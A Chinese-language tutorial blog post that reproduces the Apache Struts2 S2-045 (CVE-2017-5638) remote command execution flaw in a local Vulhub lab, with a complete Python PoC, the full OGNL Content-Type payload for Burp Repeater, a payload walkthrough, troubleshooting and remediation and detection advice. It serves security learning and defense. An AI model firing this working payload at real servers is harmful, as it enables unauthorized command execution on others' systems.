文章

CVE-2017-5638 Struts2 S2-045 从零复现:原理、Vulhub 环境、Burp 手工改包与 PoC 验证

面向新手的 CVE-2017-5638 / Apache Struts2 S2-045 本地靶场复现教程,包含漏洞背景、Multipart 与 OGNL 原理、Vulhub 环境搭建、Burp Suite 手工修改 Content-Type 请求头、Python PoC 验证、常见问题和修复建议。

CVE-2017-5638 Struts2 S2-045 从零复现:原理、Vulhub 环境、Burp 手工改包与 PoC 验证

免责声明:本文只用于本地靶场学习、CTF 训练和已授权安全研究。请勿对公网、公司生产环境或任何未授权资产进行扫描、验证或利用。文中所有命令默认只针对本机 127.0.0.1 上的 Vulhub 靶场。

写在前面

CVE-2017-5638 是 Apache Struts2 历史上非常经典的远程命令执行漏洞,安全公告中常称为 S2-045。很多初学者第一次接触 Java Web RCE、OGNL 表达式注入、Struts2 漏洞复现时,都会遇到它。

这篇文章会尽量用新手能理解的方式,把下面几件事讲清楚:

  1. Struts2 是什么;
  2. S2-045 / CVE-2017-5638 是什么;
  3. 为什么修改 Content-Type 请求头就能执行命令;
  4. 如何用 Docker 和 Vulhub 启动本地靶场;
  5. 如何用浏览器确认靶场页面;
  6. 如何用 Burp Suite 手工改包复现;
  7. 如何用 Python PoC 快速验证;
  8. 成功、失败分别怎么看;
  9. 防守方应该怎么修复。

本文不会讲对真实目标的攻击方法,也不会写反弹 shell、持久化、提权、横向移动等内容。重点是本地可控环境里的漏洞理解与复现。


目录


1. 漏洞简介

项目内容
漏洞编号CVE-2017-5638
Struts 公告编号S2-045
漏洞类型远程代码执行 / 远程命令执行
影响组件Apache Struts2
常见触发点Jakarta Multipart parser 文件上传处理
常见入口Content-Type 请求头
攻击条件目标使用受影响版本,且请求会进入 Struts2 文件上传处理链路
典型危害攻击者可在目标服务器上执行系统命令

一句话理解:

Struts2 在处理文件上传请求时,如果 Content-Type 请求头被构造为恶意 OGNL 表达式,异常处理流程可能会解析并执行这个表达式,最终造成远程命令执行。

这个漏洞之所以经典,是因为它满足几个特点:

  1. 触发入口简单:主要改一个 HTTP 请求头;
  2. 危害很高:成功后可以执行系统命令;
  3. 影响面广:当年大量 Java Web 系统使用 Struts2;
  4. 适合入门学习:可以把 HTTP 请求、Java Web 框架、表达式注入、命令执行串起来理解。

2. 新手术语速查

术语新手解释
Struts2一个 Java Web MVC 框架,可以理解为帮 Java 网站处理请求、调用业务逻辑、返回页面的框架。
S2-045Apache Struts2 官方漏洞公告编号,对应 CVE-2017-5638。
CVECommon Vulnerabilities and Exposures,通用漏洞编号。
RCERemote Code Execution,远程代码执行。这里表现为远程命令执行。
OGNLObject-Graph Navigation Language,一种表达式语言。Struts2 中大量使用 OGNL 做参数绑定、表达式解析等。
MultipartHTTP 文件上传常用的数据格式,常见请求头是 multipart/form-data。
Content-TypeHTTP 请求头,用来告诉服务器请求体是什么格式。
PoCProof of Concept,概念验证代码,用来证明漏洞可触发。
Vulhub一个常用的漏洞复现 Docker 靶场项目。
Burp SuiteWeb 安全测试常用代理工具,可以抓包、改包、重放请求。

如果你是完全新手,先记住下面这条线:

1
浏览器发请求 -> Burp 抓包 -> 修改 Content-Type -> Struts2 解析异常 -> OGNL 被执行 -> 命令结果返回

3. 漏洞影响范围

根据公开公告和漏洞库资料,CVE-2017-5638 影响 Apache Struts2 的部分 2.3.x 和 2.5.x 版本。常见说法是:

  • Struts 2.3.5 到 2.3.31;
  • Struts 2.5 到 2.5.10;
  • 修复版本包括 2.3.32、2.5.10.1 及之后版本。

实际排查时不要只看版本号,还要结合项目依赖、是否使用 Struts2、是否启用对应上传解析器、是否有补丁或安全加固。

本文使用 Vulhub 提供的本地靶场镜像:

1
image: vulhub/struts2:2.3.30

这个版本适合用来复现 S2-045。


4. 漏洞原理:为什么 Content-Type 会导致 RCE

4.1 正常文件上传请求是什么样

一个普通文件上传请求大概长这样:

1
2
3
4
5
6
7
8
9
10
11
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 1234

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryABC123--

这里的重点是请求头:

1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

它告诉服务器:

这是一个 multipart/form-data 格式的文件上传请求,请按照 boundary 分隔符解析请求体。

4.2 Struts2 在哪里出问题

Struts2 处理文件上传时,会调用 Multipart 解析逻辑。如果 Content-Type 异常或解析失败,框架会进入错误处理流程。

S2-045 的关键问题在于:

  1. 攻击者可以控制 Content-Type 请求头;
  2. 这个请求头里的内容进入了异常信息或错误处理流程;
  3. Struts2 的某些处理逻辑会把其中内容当作 OGNL 表达式求值;
  4. OGNL 表达式可以访问 Java 类、调用方法;
  5. 攻击者通过 OGNL 构造 ProcessBuilder 执行系统命令。

所以它不是传统意义上的“上传了一个木马文件然后访问木马”,而是:

1
恶意请求头 -> 表达式注入 -> Java 方法调用 -> 系统命令执行

4.3 OGNL 为什么危险

OGNL 是一种表达式语言。正常场景下,它可以用来读取对象属性、调用方法、绑定参数。例如框架内部可能用它处理页面和后端对象之间的数据。

但是如果攻击者能控制一段被 OGNL 解析的表达式,就可能做很危险的事情,比如:

  • 修改访问控制;
  • 获取 Struts2 上下文;
  • 调用 Java 类;
  • 创建进程;
  • 把命令输出写回 HTTP 响应。

S2-045 的利用 payload 就是在 Content-Type 里塞入一段 OGNL 表达式,让服务端执行。

4.4 本漏洞利用链路图

可以把整个过程理解成下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
攻击者 / 测试者
    |
    | 1. 发送 POST /doUpload.action
    | 2. Content-Type 中放入恶意 OGNL 表达式
    v
Struts2 文件上传处理逻辑
    |
    | 3. Multipart 解析异常
    | 4. 错误处理流程处理 Content-Type
    v
OGNL 表达式被求值
    |
    | 5. 通过 ProcessBuilder 执行 whoami/id
    v
系统命令执行
    |
    | 6. 命令输出写回 HTTP Response
    v
Burp Repeater / Python 脚本看到 root、id 等结果

5. 实验环境

本文本地环境如下:

项目内容
操作系统Linux
靶场Vulhub Struts2 S2-045
Docker 镜像vulhub/struts2:2.3.30
目标地址http://127.0.0.1:8080/
漏洞 Actionhttp://127.0.0.1:8080/doUpload.action
工具Docker、Docker Compose、curl、Python3、Burp Suite

目录结构:

1
2
3
4
5
CVE-2017-5638/
└── struts2-s2-045/
    ├── docker-compose.yml
    ├── poc.py
    └── README-复现.md

docker-compose.yml 内容很简单:

1
2
3
4
5
6
version: '2'
services:
 struts2:
   image: vulhub/struts2:2.3.30
   ports:
    - "8080:8080"

说明:

  • 宿主机 8080 端口映射到容器 8080;
  • 浏览器访问 127.0.0.1:8080 就是访问容器内 Struts2 应用。

6. 启动 Vulhub 靶场

进入靶场目录:

1
cd /home/fyfhcgch/CTF/CVE/CVE-2017-5638/struts2-s2-045

启动容器:

1
docker compose up -d

查看容器状态:

1
docker compose ps

如果正常,会看到类似输出:

1
2
NAME                       IMAGE                   STATUS         PORTS
struts2-s2-045-struts2-1   vulhub/struts2:2.3.30   Up             0.0.0.0:8080->8080/tcp

浏览器访问:

1
http://127.0.0.1:8080/

如果页面标题或内容里能看到下面这类文字,说明靶场正常:

1
Struts2 Showcase - Fileupload sample

这个页面是一个文件上传示例页面,其中表单会提交到:

1
/doUpload.action

这个 Action 就是我们后面要打的入口。


7. 先用 Python PoC 验证靶场

在手工用 Burp 改包前,建议先用脚本跑一次,确认靶场确实能触发漏洞。这样如果 Burp 阶段失败,就能知道问题多半出在抓包或改包步骤,而不是靶场本身。

7.1 PoC 脚本

下面是一个只针对本地靶场的 Python3 PoC。它会向 /doUpload.action 发送 POST 请求,并把恶意 OGNL 表达式放在 Content-Type 请求头中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
import argparse
import sys
import urllib.error
import urllib.request


def build_payload(cmd: str) -> str:
    return "%{" \
        "(#nike='multipart/form-data')." \
        "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
        "(#_memberAccess?(#_memberAccess=#dm):" \
        "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
        "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
        "(#ognlUtil.getExcludedPackageNames().clear())." \
        "(#ognlUtil.getExcludedClasses().clear())." \
        "(#context.setMemberAccess(#dm))))." \
        f"(#cmd={cmd!r})." \
        "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
        "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
        "(#p=new java.lang.ProcessBuilder(#cmds))." \
        "(#p.redirectErrorStream(true))." \
        "(#process=#p.start())." \
        "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
        "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
        "(#ros.flush())}"


def exploit(url: str, cmd: str, timeout: int = 10):
    payload = build_payload(cmd)
    req = urllib.request.Request(
        url,
        data=b"x=1",
        method="POST",
        headers={
            "User-Agent": "local-lab-cve-2017-5638-poc/1.0",
            "Content-Type": payload,
        },
    )
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace")


def main():
    parser = argparse.ArgumentParser(description="CVE-2017-5638 S2-045 local-lab PoC")
    parser.add_argument("url")
    parser.add_argument("cmd", nargs="?", default="whoami")
    args = parser.parse_args()
    status, body = exploit(args.url, args.cmd)
    print(f"[+] HTTP status: {status}")
    print("[+] Response body:")
    print(body.strip())
    return 0


if __name__ == "__main__":
    sys.exit(main())

7.2 执行 whoami

运行:

1
python3 poc.py http://127.0.0.1:8080/doUpload.action whoami

如果成功,会看到:

1
2
3
[+] HTTP status: 200
[+] Response body:
root

这表示命令在容器内部执行了,当前 Web 进程用户是 root。

7.3 执行 id 和 uname

再执行:

1
python3 poc.py http://127.0.0.1:8080/doUpload.action 'id; uname -a'

成功时可能返回类似:

1
2
3
4
[+] HTTP status: 200
[+] Response body:
uid=0(root) gid=0(root) groups=0(root)
Linux 8c0b976ed28c 7.1.3-zen1-1-zen x86_64 GNU/Linux

注意:

  • 这里看到的是 Docker 容器里的用户和系统信息;
  • 不是宿主机系统被打穿;
  • 本文只验证本地靶场,不做越界操作。

8. Burp Suite 手工复现

脚本验证成功后,下面开始用 Burp Suite 手工抓包、改包、重放。

8.1 为什么要手工复现

手工复现的意义是让你真正看到:

  1. 哪个请求触发漏洞;
  2. 哪个请求头被修改;
  3. 修改前后的 Content-Type 有什么区别;
  4. 命令输出是怎么回到响应里的。

只会运行 PoC 是不够的。会手工改包后,你对漏洞触发点会理解得更清楚。

8.2 注意 Burp 代理端口冲突

靶场占用的是:

1
127.0.0.1:8080

而 Burp Suite 默认代理也常用:

1
127.0.0.1:8080

这两个不能同时占用同一个端口。

所以建议把 Burp 代理端口改成:

1
127.0.0.1:8081

操作路径大致为:

1
Proxy -> Proxy settings -> Proxy Listeners

把监听地址设置为:

1
2
Bind address: 127.0.0.1
Bind port: 8081

8.3 使用 Burp 内置浏览器

新手推荐直接用 Burp 自带浏览器,避免手动配置系统代理。

操作:

1
Proxy -> Intercept -> Open browser

在 Burp 浏览器中访问:

1
http://127.0.0.1:8080/

如果能看到 Struts2 文件上传页面,说明代理和靶场都没问题。

8.4 抓取上传请求

页面里有一个文件上传表单。可以先准备一个测试文件:

1
echo test > /tmp/test.txt

在浏览器页面中选择 /tmp/test.txt,点击上传。

然后回到 Burp:

1
Proxy -> HTTP history

找到类似请求:

1
2
3
4
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 200

右键该请求:

1
Send to Repeater

然后切换到:

1
Repeater

8.5 修改 Content-Type

在 Repeater 中,找到原来的请求头:

1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

把整行替换为下面这一行。注意:这是完整一行,不要在中间手动换行。

1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

这里真正执行的命令是:

1
#cmd='whoami'

8.6 点击 Send

在 Repeater 中点击:

1
Send

观察右侧 Response。

如果看到:

1
root

说明 Burp 手工复现成功。

8.7 修改为 id 命令

如果想验证更多信息,可以把 payload 中:

1
#cmd='whoami'

改成:

1
#cmd='id'

再点击 Send。

成功时会看到类似:

1
uid=0(root) gid=0(root) groups=0(root)

8.8 不从页面抓包,直接在 Repeater 构造请求

如果你不想通过上传页面抓包,也可以在 Repeater 里直接构造最小请求:

1
2
3
4
5
6
7
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Burp-S2-045-Test
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 3

x=1

这里请求体只有:

1
x=1

也能触发漏洞,因为关键点不在上传文件内容,而在 Content-Type 头进入了漏洞链路。


9. Payload 逐段解释

下面把核心 payload 拆开解释。为了方便阅读,下面不是 HTTP 头的一整行,而是按逻辑分段展示。

9.1 外层表达式

1
%{ ... }

这是 OGNL 表达式的外层形式。漏洞触发后,Struts2 会对其中内容求值。

9.2 伪装 multipart 类型

1
(#nike='multipart/form-data')

这一段把变量 nike 设置为 multipart/form-data。很多公开 payload 都会包含类似片段,让表达式整体更贴近上传处理场景。

9.3 获取默认访问权限

1
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)

这段通过 OGNL 访问 OgnlContext.DEFAULT_MEMBER_ACCESS,目的是后面放宽表达式访问限制。

9.4 处理 memberAccess

1
(#_memberAccess?(#_memberAccess=#dm):(...))

可以粗略理解为:

  • 如果当前上下文中有 _memberAccess,就把它设为默认访问权限;
  • 如果没有,就从 Struts2 容器中取出 OgnlUtil,清理限制列表,再设置访问权限。

这一部分是为了绕过 OGNL 的访问控制限制。

9.5 清理限制包名和类名

1
2
(#ognlUtil.getExcludedPackageNames().clear())
(#ognlUtil.getExcludedClasses().clear())

这两句清理 OGNL 工具中的排除包名和排除类名,让后续表达式能访问本来不该访问的类。

新手可以这样理解:

1
先解除限制,再调用危险 Java 类。

9.6 设置要执行的命令

1
(#cmd='whoami')

这就是最终要执行的系统命令。

如果改成:

1
(#cmd='id')

就会执行 id。

如果改成:

1
(#cmd='pwd')

就会执行 pwd。

建议本地学习时只使用无破坏命令,例如:

1
2
3
4
whoami
id
pwd
uname -a

不要执行删除文件、写入持久化、下载远程脚本等危险操作。

9.7 判断系统类型

1
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))

这段判断目标系统是不是 Windows。

  • 如果是 Windows,就使用 cmd.exe /c;
  • 如果不是 Windows,就使用 /bin/bash -c。

9.8 拼接命令数组

1
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))

这段根据系统类型生成命令数组。

在 Linux 容器里,实际效果类似:

1
/bin/bash -c whoami

在 Windows 上则类似:

1
cmd.exe /c whoami

9.9 创建进程

1
2
3
(#p=new java.lang.ProcessBuilder(#cmds))
(#p.redirectErrorStream(true))
(#process=#p.start())

这几句是命令执行的核心:

  1. ProcessBuilder 根据命令数组创建系统进程;
  2. redirectErrorStream(true) 把标准错误也合并到标准输出;
  3. start() 启动进程。

也就是说,真正的命令执行发生在:

1
#p.start()

9.10 把命令输出写回 HTTP 响应

1
2
3
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
(#ros.flush())

这几句做了三件事:

  1. 获取当前 HTTP 响应输出流;
  2. 把命令进程的输出复制到响应流;
  3. 刷新响应流。

所以我们才能在 Burp Response 中看到:

1
root

如果没有这一步,命令可能执行了,但页面上看不到结果,验证就会困难很多。


10. 如何判断复现成功

复现成功的核心证据是:

1
响应体中出现了命令输出

例如执行:

1
whoami

响应:

1
root

执行:

1
id

响应:

1
uid=0(root) gid=0(root) groups=0(root)

执行:

1
pwd

响应可能是:

1
/usr/local/tomcat

这些都说明:

  1. 请求确实到达了 Struts2 应用;
  2. 恶意 Content-Type 被处理;
  3. OGNL 表达式被执行;
  4. 系统命令在容器内部执行;
  5. 命令输出被写回 HTTP 响应。

11. 常见问题排查

11.1 访问 127.0.0.1:8080 失败

先看容器状态:

1
docker compose ps

再看日志:

1
docker compose logs --tail=100

如果容器没起来,重新启动:

1
docker compose up -d

11.2 端口 8080 被占用

如果宿主机 8080 已经被其他服务占用,可以把 docker-compose.yml 改成:

1
2
ports:
  - "18080:8080"

然后重启:

1
2
docker compose down
docker compose up -d

访问地址改为:

1
http://127.0.0.1:18080/

PoC 也改为:

1
python3 poc.py http://127.0.0.1:18080/doUpload.action whoami

11.3 Burp 抓不到请求

检查三个点:

  1. 是否使用 Burp 内置浏览器;
  2. Burp 代理监听是否开启;
  3. 浏览器是否走了 Burp 代理。

推荐新手直接点:

1
Proxy -> Intercept -> Open browser

用 Burp 打开的浏览器访问靶场。

11.4 Burp 代理和靶场端口冲突

靶场是:

1
127.0.0.1:8080

Burp 代理建议设置为:

1
127.0.0.1:8081

不要让 Burp 也监听 8080。

11.5 Response 没有 root

检查:

  1. 请求路径是不是 /doUpload.action;
  2. 请求方法是不是 POST;
  3. Content-Type 是否整行替换为 payload;
  4. payload 是否被自动换行;
  5. 命令是否写在 #cmd='whoami' 这里;
  6. 是否误把 payload 放到了请求体,而不是请求头。

11.6 Burp 提示 malformed request

通常是请求格式被破坏,比如:

  • 请求头中间多了空行;
  • Content-Type 被拆成多行;
  • Content-Length 和请求体长度严重不匹配;
  • 复制时漏了冒号或空格。

建议直接使用最小请求重新构造:

1
2
3
4
5
6
7
POST /doUpload.action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Burp-S2-045-Test
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 3

x=1

12. 修复建议

如果你是防守方或开发者,建议从下面几个方面处理。

12.1 升级 Struts2

最重要的修复方式是升级到官方修复版本。

常见建议:

  • Struts 2.3.x 升级到 2.3.32 或更高;
  • Struts 2.5.x 升级到 2.5.10.1 或更高;
  • 更推荐升级到当前仍维护的安全版本线。

不要只在 WAF 上写规则就算修复。WAF 可以作为缓解措施,但不能替代组件升级。

12.2 排查依赖

Java 项目中可以检查:

  • pom.xml;
  • build.gradle;
  • WEB-INF/lib 目录;
  • 依赖树中的 struts2-core 版本。

Maven 项目可使用:

1
mvn dependency:tree | grep -i struts

Gradle 项目可使用:

1
gradle dependencies | grep -i struts

12.3 限制上传入口

对文件上传接口进行加固:

  1. 限制上传文件大小;
  2. 限制上传文件类型;
  3. 上传目录与 Web 可执行目录隔离;
  4. 对异常信息不要直接回显框架内部细节;
  5. 对异常日志进行监控。

12.4 检测可疑请求

可以关注请求头中异常的 Content-Type,例如出现:

1
2
3
4
5
%{
ognl.OgnlContext
ProcessBuilder
getResponse
getOutputStream

这些字符串在正常上传请求里不应该出现。

12.5 最小权限运行服务

本地靶场里命令返回 root,这是因为容器环境配置较简单。生产环境中应避免 Web 服务以高权限用户运行。

建议:

  • Web 服务使用低权限账号;
  • 容器不要使用特权模式;
  • 对文件系统权限进行最小化;
  • 配合容器隔离、SELinux、AppArmor 等安全机制。

13. 清理环境

实验结束后关闭容器:

1
2
cd /home/fyfhcgch/CTF/CVE/CVE-2017-5638/struts2-s2-045
docker compose down

如果只是暂停实验,也可以保留容器运行,之后继续访问:

1
http://127.0.0.1:8080/

14. 总结

本文完成了 CVE-2017-5638 / Struts2 S2-045 的本地复现,并从新手角度梳理了完整流程:

  1. 漏洞本质是 Struts2 文件上传异常处理链路中的 OGNL 表达式注入;
  2. 关键触发点是 Content-Type 请求头;
  3. 利用 payload 通过 OGNL 调用 Java 类,最终用 ProcessBuilder 执行系统命令;
  4. 本地 Vulhub 靶场使用 vulhub/struts2:2.3.30;
  5. Python PoC 可以快速确认漏洞;
  6. Burp Suite 手工改包能更直观理解漏洞触发过程;
  7. 生产环境应通过升级 Struts2、排查依赖、最小权限、日志监控等方式修复和加固。

学习这个漏洞时,不建议只停留在“复制 payload 得到 root”这一层。更重要的是理解下面这条链路:

1
用户可控输入 -> 框架异常处理 -> 表达式解析 -> Java 方法调用 -> 系统命令执行 -> 响应回显

理解了这条链路,再看其他 Struts2 OGNL 漏洞、模板注入、表达式注入漏洞时,就会更容易建立联系。


15. 参考链接


本文由作者按照 CC BY 4.0 进行授权